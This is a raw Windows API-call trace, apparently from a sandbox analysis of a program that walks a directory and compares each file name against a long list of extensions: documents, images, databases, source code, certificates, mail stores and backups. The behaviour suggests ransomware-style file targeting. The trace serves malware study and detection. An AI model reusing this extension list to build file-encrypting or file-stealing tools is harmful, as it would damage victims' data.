	[0069.287] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".one") returned 4
	[0069.287] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".onepkg") returned 7
	[0069.287] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.287] lstrlenW (lpString=".onetoc2") returned 8
	[0069.287] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.287] lstrlenW (lpString=".opt") returned 4
	[0069.287] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.287] lstrlenW (lpString=".oqy") returned 4
	[0069.287] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".orf") returned 4
	[0069.288] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".p12") returned 4
	[0069.288] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".p7b") returned 4
	[0069.288] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".p7c") returned 4
	[0069.288] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pam") returned 4
	[0069.288] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pbm") returned 4
	[0069.288] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pct") returned 4
	[0069.288] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pcx") returned 4
	[0069.288] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pdd") returned 4
	[0069.288] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pdf") returned 4
	[0069.288] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pdp") returned 4
	[0069.288] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pef") returned 4
	[0069.288] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pem") returned 4
	[0069.288] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pff") returned 4
	[0069.288] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pfm") returned 4
	[0069.288] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pfx") returned 4
	[0069.288] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".pgm") returned 4
	[0069.288] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.288] lstrlenW (lpString=".php") returned 4
	[0069.289] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.289] lstrlenW (lpString=".php3") returned 5
	[0069.289] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.289] lstrlenW (lpString=".php4") returned 5
	[0069.289] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.289] lstrlenW (lpString=".php5") returned 5
	[0069.289] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.289] lstrlenW (lpString=".phtml") returned 6
	[0069.289] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.289] lstrlenW (lpString=".pict") returned 5
	[0069.289] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.289] lstrlenW (lpString=".pl") returned 3
	[0069.289] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.289] lstrlenW (lpString=".pls") returned 4
	[0069.289] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.289] lstrlenW (lpString=".pm") returned 3
	[0069.289] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.289] lstrlenW (lpString=".png") returned 4
	[0069.289] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.289] lstrlenW (lpString=".pnm") returned 4
	[0069.289] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.289] lstrlenW (lpString=".pot") returned 4
	[0069.289] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.289] lstrlenW (lpString=".potm") returned 5
	[0069.289] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.289] lstrlenW (lpString=".potx") returned 5
	[0069.289] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.289] lstrlenW (lpString=".ppa") returned 4
	[0069.289] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.289] lstrlenW (lpString=".ppam") returned 5
	[0069.289] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.289] lstrlenW (lpString=".ppm") returned 4
	[0069.289] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.289] lstrlenW (lpString=".pps") returned 4
	[0069.290] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".ppsm") returned 5
	[0069.290] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.290] lstrlenW (lpString=".ppt") returned 4
	[0069.290] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".pptm") returned 5
	[0069.290] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.290] lstrlenW (lpString=".pptx") returned 5
	[0069.290] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.290] lstrlenW (lpString=".prn") returned 4
	[0069.290] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".ps") returned 3
	[0069.290] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.290] lstrlenW (lpString=".psb") returned 4
	[0069.290] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".psd") returned 4
	[0069.290] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".pst") returned 4
	[0069.290] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".ptx") returned 4
	[0069.290] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".pub") returned 4
	[0069.290] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".pwm") returned 4
	[0069.290] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".pxr") returned 4
	[0069.290] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".py") returned 3
	[0069.290] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.290] lstrlenW (lpString=".qt") returned 3
	[0069.290] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.290] lstrlenW (lpString=".r3d") returned 4
	[0069.290] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".raf") returned 4
	[0069.290] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0069.290] lstrlenW (lpString=".rar") returned 4
	[0069.291] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.291] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0069.291] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.291] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.291] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0069.291] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.291] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0069.291] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0069.291] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121290
	[0069.292] FindNextFileW (in: hFindFile=0x3121290, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.292] FindNextFileW (in: hFindFile=0x3121290, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.292] lstrlenW (lpString="eula.rtf") returned 8
	[0069.292] lstrlenW (lpString=".1cd") returned 4
	[0069.292] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.292] lstrlenW (lpString=".3ds") returned 4
	[0069.292] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.292] lstrlenW (lpString=".3fr") returned 4
	[0069.292] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.292] lstrlenW (lpString=".3g2") returned 4
	[0069.292] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.292] lstrlenW (lpString=".3gp") returned 4
	[0069.292] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.292] lstrlenW (lpString=".7z") returned 3
	[0069.292] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.292] lstrlenW (lpString=".accda") returned 6
	[0069.292] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.293] lstrlenW (lpString=".accdb") returned 6
	[0069.293] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.293] lstrlenW (lpString=".accdc") returned 6
	[0069.293] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.293] lstrlenW (lpString=".accde") returned 6
	[0069.293] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.293] lstrlenW (lpString=".accdt") returned 6
	[0069.293] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.293] lstrlenW (lpString=".accdw") returned 6
	[0069.293] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.293] lstrlenW (lpString=".adb") returned 4
	[0069.293] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".adp") returned 4
	[0069.293] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".ai") returned 3
	[0069.293] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.293] lstrlenW (lpString=".ai3") returned 4
	[0069.293] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".ai4") returned 4
	[0069.293] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".ai5") returned 4
	[0069.293] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".ai6") returned 4
	[0069.293] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".ai7") returned 4
	[0069.293] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".ai8") returned 4
	[0069.293] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".anim") returned 5
	[0069.293] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.293] lstrlenW (lpString=".arw") returned 4
	[0069.293] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.293] lstrlenW (lpString=".as") returned 3
	[0069.293] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.293] lstrlenW (lpString=".asa") returned 4
	[0069.294] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".asc") returned 4
	[0069.294] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".ascx") returned 5
	[0069.294] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.294] lstrlenW (lpString=".asm") returned 4
	[0069.294] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".asmx") returned 5
	[0069.294] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.294] lstrlenW (lpString=".asp") returned 4
	[0069.294] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".aspx") returned 5
	[0069.294] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0069.294] lstrlenW (lpString=".asr") returned 4
	[0069.294] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".asx") returned 4
	[0069.294] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".avi") returned 4
	[0069.294] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".avs") returned 4
	[0069.294] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".backup") returned 7
	[0069.294] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.294] lstrlenW (lpString=".bak") returned 4
	[0069.294] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".bay") returned 4
	[0069.294] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".bd") returned 3
	[0069.294] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.294] lstrlenW (lpString=".bin") returned 4
	[0069.294] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".bmp") returned 4
	[0069.294] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".bz2") returned 4
	[0069.294] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.294] lstrlenW (lpString=".c") returned 2
	[0069.295] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.295] lstrlenW (lpString=".cdr") returned 4
	[0069.295] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".cer") returned 4
	[0069.295] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".cf") returned 3
	[0069.295] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.295] lstrlenW (lpString=".cfc") returned 4
	[0069.295] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".cfm") returned 4
	[0069.295] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".cfml") returned 5
	[0069.295] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.295] lstrlenW (lpString=".cfu") returned 4
	[0069.295] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".chm") returned 4
	[0069.295] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".cin") returned 4
	[0069.295] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".class") returned 6
	[0069.295] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.295] lstrlenW (lpString=".clx") returned 4
	[0069.295] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".config") returned 7
	[0069.295] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.295] lstrlenW (lpString=".cpp") returned 4
	[0069.295] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".cr2") returned 4
	[0069.295] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".crt") returned 4
	[0069.295] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".crw") returned 4
	[0069.295] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.295] lstrlenW (lpString=".cs") returned 3
	[0069.295] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.296] lstrlenW (lpString=".css") returned 4
	[0069.296] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".csv") returned 4
	[0069.296] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".cub") returned 4
	[0069.296] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dae") returned 4
	[0069.296] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dat") returned 4
	[0069.296] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".db") returned 3
	[0069.296] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.296] lstrlenW (lpString=".dbf") returned 4
	[0069.296] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dbx") returned 4
	[0069.296] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dc3") returned 4
	[0069.296] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dcm") returned 4
	[0069.296] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dcr") returned 4
	[0069.296] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".der") returned 4
	[0069.296] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dib") returned 4
	[0069.296] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dic") returned 4
	[0069.296] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".dif") returned 4
	[0069.296] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.296] lstrlenW (lpString=".divx") returned 5
	[0069.296] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.296] lstrlenW (lpString=".djvu") returned 5
	[0069.296] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.296] lstrlenW (lpString=".dng") returned 4
	[0069.297] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".doc") returned 4
	[0069.297] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".docm") returned 5
	[0069.297] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.297] lstrlenW (lpString=".docx") returned 5
	[0069.297] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.297] lstrlenW (lpString=".dot") returned 4
	[0069.297] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".dotm") returned 5
	[0069.297] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.297] lstrlenW (lpString=".dotx") returned 5
	[0069.297] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.297] lstrlenW (lpString=".dpx") returned 4
	[0069.297] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".dqy") returned 4
	[0069.297] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".dsn") returned 4
	[0069.297] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".dt") returned 3
	[0069.297] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.297] lstrlenW (lpString=".dtd") returned 4
	[0069.297] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".dwg") returned 4
	[0069.297] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".dwt") returned 4
	[0069.297] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".dx") returned 3
	[0069.297] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.297] lstrlenW (lpString=".dxf") returned 4
	[0069.297] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".edml") returned 5
	[0069.297] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.297] lstrlenW (lpString=".efd") returned 4
	[0069.297] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.297] lstrlenW (lpString=".elf") returned 4
	[0069.298] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".emf") returned 4
	[0069.298] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".emz") returned 4
	[0069.298] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".epf") returned 4
	[0069.298] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".eps") returned 4
	[0069.298] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".epsf") returned 5
	[0069.298] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.298] lstrlenW (lpString=".epsp") returned 5
	[0069.298] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.298] lstrlenW (lpString=".erf") returned 4
	[0069.298] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".exr") returned 4
	[0069.298] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".f4v") returned 4
	[0069.298] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".fido") returned 5
	[0069.298] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.298] lstrlenW (lpString=".flm") returned 4
	[0069.298] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".flv") returned 4
	[0069.298] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".frm") returned 4
	[0069.298] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".fxg") returned 4
	[0069.298] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".geo") returned 4
	[0069.298] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".gif") returned 4
	[0069.298] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.298] lstrlenW (lpString=".grs") returned 4
	[0069.298] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".gz") returned 3
	[0069.299] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.299] lstrlenW (lpString=".h") returned 2
	[0069.299] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.299] lstrlenW (lpString=".hdr") returned 4
	[0069.299] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".hpp") returned 4
	[0069.299] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".hta") returned 4
	[0069.299] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".htc") returned 4
	[0069.299] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".htm") returned 4
	[0069.299] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".html") returned 5
	[0069.299] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.299] lstrlenW (lpString=".icb") returned 4
	[0069.299] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".ics") returned 4
	[0069.299] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".iff") returned 4
	[0069.299] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".inc") returned 4
	[0069.299] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.299] lstrlenW (lpString=".indd") returned 5
